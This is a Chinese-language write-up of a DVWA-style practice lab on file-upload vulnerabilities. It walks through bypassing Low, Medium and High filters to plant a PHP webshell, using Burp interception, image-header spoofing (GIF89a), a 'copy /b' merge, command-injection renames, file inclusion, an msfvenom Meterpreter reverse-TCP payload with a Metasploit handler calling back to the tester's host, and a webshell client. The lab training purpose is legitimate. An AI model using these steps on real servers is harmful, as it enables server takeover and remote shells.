文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞
文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知
本人测试的靶场是通过centos7系统用docker-compose来搭建的一个全能靶场,靶场环境不一样,用的工具也不一定能连上,希望大家请理解一下,谢谢
1、 编辑一句话木马q.php
指定连接目录为http://192.168.5.199/hackable/uploads/q.php,参数为cmd,类型为PHP(eval)
Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型(Content-Type)必须是jpeg或者png,大小不能超过100000B(约为97.6KB)
首先抓包修改文件类型
一句话木马不受大小限制影响
1、 将上面Low等级的q.php更名为w.png(这里说一下可以改jpeg或者png)
2、 上传w.png,并开启抓包
3、 修改上传文件后缀名(把w.png改为w.php)然后点击放包按钮(Forward)上传
指定连接目录http://192.168.5.199/hackable/uploads/w.php,参数为cmd,类型为PHP(eval)
High级别的代码读取文件名中最后一个.后的字符串(文件后缀名),期望通过文件名来限制文件类型,因此要求上传文件名形式必须是*.jpg、.jpeg 、.png之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型
什么是文件头?
文件头是位于文件开头的一段承担一定任务的数据,一般都在开头的部分
文件头就是为了描述一个文件的一些重要的属性,文件头告诉了打开并处理该文件的程序这些属性
常见文件的文件头(16进制):
JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
HTML (html),文件头:68746D6C3E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
Quicken (qdf),文件头:AC9EBD8F
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
可执行文件(EXE),文件头:MZ
这里有几种方法,我一一举例说明
1、 首先把medium使用的图片木马w.png更改为c.php
并使用copy命令将木马文件c.php与图片文件e.png合并为t.png
Copy e.png/b+c.php/a t.png
可以看到,一句话木马被添加到图片的尾部
127.0.0.1|ls …/…/hackable/uploads
127.0.0.1|mv …/…/hackable/uploads/t.png …/…/hackable/uploads/t.php
(由于路由器关了一次,这里的IP地址更改了,这里不用担心,操作跟前面Low等级的一样)
指定连接目录http://192.168.5.129/hackable/uploads/t.php,参数为cmd,类型为PHP(eval)
注:(在Kali上进行测试,虚拟机要使用桥接模式)
1、 首先用msfvenom生成一个PHP语言的PNG图片木马
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.5.214 lport=3333 >> any.png
2、 上传图片木马
出错的英文提示是:您的图像未上载,我们只能接受JPEG或PNG图像。
4、 然后我们用VIM编辑器(这里没限定编辑器)在sam.png图片木马头部加一个代码GIF89a;
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lport 3333
set lhost 192.168.5.214
exploit
8、 然后选择Low等级的文件包含
10、在地址栏输入以下的地址并回车
192.168.5.129/vulnerabilities/fi/?page=…/…/hackable/uploads/any.png
12、然后我们通过命令查看一下/hackable/uploads这个目录下有什么文件
13、然后我测试一下,随便删除一个文件试试,看看有没有权限,测试成功了
1、 先用一个txt文本,输入GIF89a;
图片欺诈头部和一句话PHP木马,然后更改后缀名为00.jpg
http://192.168.5.129/vulnerabilities/fi/?page=…/…/hackable/uploads/00.jpg
5、 打开burpsuite进行抓包,这里要注意一下,点击开启抓包按钮先不要急着关闭!!!
6、 打开菜刀
指定连接目录http://192.168.5.129/vulnerabilities/fi/?page=…/…/hackable/uploads/00.jpg参数为cmd,类型为PHP(eval),字符编码为GB2312
8、 设置请求头,把刚刚在burpsuite抓包出现的Cookie值复制进去,按照图中的数字顺序进行操作